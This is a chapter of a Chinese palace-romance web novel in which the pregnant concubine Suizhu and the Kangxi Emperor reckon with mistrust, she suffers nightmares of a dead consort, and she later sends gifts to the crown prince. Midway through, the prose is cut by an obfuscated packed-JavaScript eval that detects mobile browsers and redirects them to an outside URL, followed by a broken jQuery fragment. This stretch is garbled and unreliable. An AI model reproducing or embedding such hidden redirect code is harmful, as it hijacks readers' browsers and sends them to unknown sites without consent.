两人退下后,康熙上前几步弯下腰准备把人抱起来,穗珠避开他的视线,“奴才可以自己走。”
康熙眼神一暗,没有听她的话,将人打横抱了起来,一步一步小心地将她放在铺了软垫的圆凳上。
然后亲自将帕子递到她手上,穗珠愣了下还是把帕子接了过来。
康熙推开凳子又端来干净的温水,拿来了香豆,洗了一次,又换了一盆水清洗了一遍,又用干燥的帕子将她的双手擦干,两人这才开始用膳。
穗珠看着他端着面盆的背影,眼神有些茫然,然后她缓缓吐了一口气出来,她和孩子都要好好地活下去。
她看了一眼桌子上的东西,不像往日那种油都没撇干净的菜,取而代之的都是一些滋补的炖汤和爽口的小菜。
康熙给她舀了一小碗的鲫鱼豆腐汤,汤汁奶白,上头飘着些许葱花,吃一口鲜嫩润滑。
穗珠连吃了两碗,但还有些意犹未尽,她又夹了一筷子炝拌土豆丝,脆爽够味儿,和着颗颗分明的蛋炒饭吃极为下饭,就着这她都用了小半碗的米饭。
“夜里不宜多食。”
穗珠吃得正食欲大开时被人打断,连筷子也被拿走。
“这小菜你吃得有些辣了,往后少用。”
她当时吃那炒鸡也是如此,要不是他让梁九功给膳房发话,她恐是要日日吃个够才行。
穗珠摸了摸腹部,刚吃了个半饱,就让她停下。
到底是有了身孕,连一向不怎么管后宫嫔妃膳食的皇上也开始念念叨叨了。
“知道了,奴才谨记皇上的教诲。”她淡淡的一句将正想开口的康熙噎住,他放下筷子,咳了一声,“嗯。”
用完膳后穗珠叫了麦苗进来伺候洗漱,皇上也在隔壁间洗漱,麦苗不敢问太多,小心翼翼地张嘴,“主子?”
穗珠把她的手拿过来放在自己腹部,这个月主子的月事没有来,再联想到今日两位太医的到来,麦苗先是一愣,然后双眼亮晶晶地看着自家主子。
天吶!不会是她想的那样吧!
穗珠看着镜子里异常明亮的眼睛,这双眼睛犹如夏日夜晚空中高高挂起的星星,充满了生命力,如同腹中的孩子一样,叫人看着便有了期待,冲破了穗珠心中的阴霾,她发自内心地笑了笑,“去把寝衣拿过来。”
“是,主子。”
两人站在盥洗室里,麦苗有些脸红,“主子,真这样穿啊?”
穗珠是故意的,不过她依然说道:“你这丫头,脸红什么,我不是一直都这样穿的吗?”
新做的这几件寝衣穿上又凉快又舒服,穗珠把有些手脚都不知该怎么放的麦苗打发了出去,然后自己坐在铜镜前慢慢梳着头发。
皇上在外间和梁九功说着什么,穗珠没有细听,她梳好了头发便起身往床边走。
刚放下帘子脱下外头那件开襟阔袖衫,男人的粗声喘息声就在耳边响起,“你是故意的?”
尾椎处传来一阵酸意,穗珠咬着牙不吭声,腰上的手掌收紧力道,烫得她口中几乎发出了惊呼声儿。
“你一起了性子便不说话,如今是越发没了规矩,问了也不回答,回答了也是些违心话,你心里想的,我都知道,你是有了身孕,就不再大吵大闹,而是换了张脸对我。”
穗珠动作一顿,然后慢慢转过头看向他,一双锐利的眼睛正沉沉地看着自己。
穗珠这次没有躲开,眼睛和他对视,她犹豫了一片,带着疑惑的声音问道:“皇上如此聪敏过人,当时怎么就没识透莺姑的计谋?”
她想破了头也没想通。
但穗珠不愿承认,经过这件事后,如今的她对什么这些情情爱爱已经不懂了。
她被那双冰冷刺骨的眼睛刺痛了心。
此刻,她趁着心头的那股劲儿还没完全消散,终于还是忍不住问出自己的疑问。
可皇上从始至终只有一句他昏了头。
但是穗珠知道,他在说谎。
她在这一刻终于知道,他只是不相信她罢了。
她是不被信任的枕边人。
所以单凭莺姑的一句话,她就能被皇上怀疑,而后不顾两人之间微弱的情分就将她带进去质问她,随即就把她的贴身宫女带走。
从此,不再相见。
想到这里,穗珠没了心思,她挣开腰上的大手,“皇上,夜深了,歇息吧。”
顾及她的身子,康熙没有再多说。
亥时中,启祥宫已经熄了灯。
可帐子里的对话依然还在继续。
“启祥宫解了禁,你平日里无事时便出去转转,若不爱出门,就在院子里多晒晒太阳。”
“奴才知道了。”
“我明日叫人给你送些东西来,有喜欢的就留着用。”
“好,多谢皇上。”
“孩子,还不足一月,我叫了老太医和王太医给你保胎,平日里再不可动气。”
......
里侧已经响起了均匀的呼吸声,他探身将薄被往上提了提,盖住她裸露在外的肩膀,手掌下是光滑的肌肤,鼻尖传来淡淡的茉莉花香,是她发丝的香味。
康熙心口有些发烫,对于穗珠的疑问,他百口莫辩。
二十几年来,第一次的慌张无措,在翊坤宫看着她跌跌撞撞的背影,他就后悔了。
但是他没有叫住她,他怕叫住她,他的心就永远落在了她的身上,怕心中的那丝恨意愈发浓烈,所以他不能,所以他任凭她落泪离开。
而后的事,占据了他的时间,他忙得不可开交,只偶尔在入睡前回想起她当时的眼神。
如今,她连得知自己怀有身孕也不见得开心。
康熙把人抱进自己的被子里,紧紧地揽入怀中,帐子里的光线有些昏暗,视线有些模糊不清。
他抚摸着她的腹部,这个孩子来得如此不容易,他轻轻地吻了吻穗珠的额头,抚平她的眉间,然后揽着她一同睡去。
不过才闭眼,“啊”地一声尖叫,他立刻清醒过来,“怎么了?”
穗珠又做噩梦了,皇贵妃又来了她的梦中,还是那张绀色的脸。
不同的是,她睁开双眼朝穗珠无声地笑着,可那双眼乌黑,没有眼白。
穗珠想跑,但是身体像是被绳子绑得紧紧的,她拼尽全力挣开,然后惊地坐了起来。
身体又落入温暖的怀抱中,穗珠渐渐回过神来,外间已经亮起了灯,有人给她喂了一口热茶,使劲搓着她发凉的手。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567205|204800||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“梦见皇贵妃了。”她又咽了一口热茶,里头加了些红枣,喝起甜滋滋的,穗珠喝了几口,恐惧的心慢慢也定了下来。
“自皇贵妃去世后,她的脸隔三差五便来奴才的梦中,穿着那日的衣裳站在远处对着奴才无声地笑,有时又站在奴才的跟前流泪。”
穗珠披着头发坐在床上,她的声音没有起伏,像是叙述一件很平常的事,双手却握紧了手里的茶碗,“但是她的眼睛没有眼白,一双眼睛像是黑森森的棋子紧紧地盯着奴才,叫人心头恐惧不安。”
“皇上,您说她为什么要来奴才的梦中?奴才不是害死她的凶手,为何要来纠缠奴才?”
康熙听罢翌日便请了喇嘛为皇贵妃再次超度,穗珠听罢愣了会儿神,随后又继续喝她的金丝燕窝。
这场风波过后,宫里着实沉寂了下来,串门子的也少了,宫里的宫皇上交给了惠嫔和荣嫔两人,两人倒是不敢太过高兴,只感叹了一番人生无常,便积极地投入进了繁复的账本之中。
隔壁永寿宫的大门也关得紧紧的,只听说钮祜禄氏在永寿宫里设了一个小佛堂,也不知是不是在日夜祈祷。
穗珠怀孕的消息并没有传出去,她也乐得自在,在启祥宫里安心养胎。
日子如流水般不知不觉就到了七月下旬,这一年后宫的嫔妃都呆在这四四方方的紫禁城里蹲着,只皇上偶尔会带人去南苑狩猎。
这日,他下了朝会后又出宫去了。
启祥宫内
穗珠听着麦苗的话,“嗯”了一声,然后又懒洋洋地躺回了摇椅上。
“主子,这是宜贵人给您下的帖子呢,您不看看吗?”
“先放着吧,这天太热了,我呆会儿再看。”穗珠闭着眼睛,摆摆手。
“太子爷要的那小狗,奴才已经找出来放在锦盒里了,您瞧瞧?”
“好,拿来我看看。”
太子上个月的生辰,皇上也并没有叫人大办。
毕竟去世的是名义上的庶母,穗珠记得太子的话,但是当时情况使然,并没有立刻送上贺礼。
前两日,他倒是叫人传来消息,看上了三弟荷包里的小狗。
穗珠看着那已经有些笔锋的字迹有些发笑,上头义正严词地批评了她一番,然后拐了个弯,道是三弟那小狗看起可是叫人喜爱。
锦盒里一共有八只小狗,送了三阿哥一只,如今还有七只,穗珠挑了只正在吐舌的,找了个雕花黄花梨木锦盒,里头包着一层厚厚的垫子,将小狗给装了进去,又提笔给太子写了一封回信。
“麦苗,去把那个布偶和我准备好给太子的生辰礼都拿过来。”
“哎。”
一切都准备好,穗珠便将东西送了过去,她为了避嫌,并没有自己去,而是叫了李福去送,送完顺道出宫去看看马得宝和麦芽。
“祭奠的事准备好了吗?”
李福有些为难,这宫中死了的太监和宫女就没有过祭奠的事,主子发了善心给他们收尸,立了碑文就算是顶出格的事了。
“主子,他们是罪奴。”
“去吧,有事我担着,完事后再去马得宝和麦芽家里看看,银子留下,有能帮忙的你也搭把手。”
李福只能应声道是。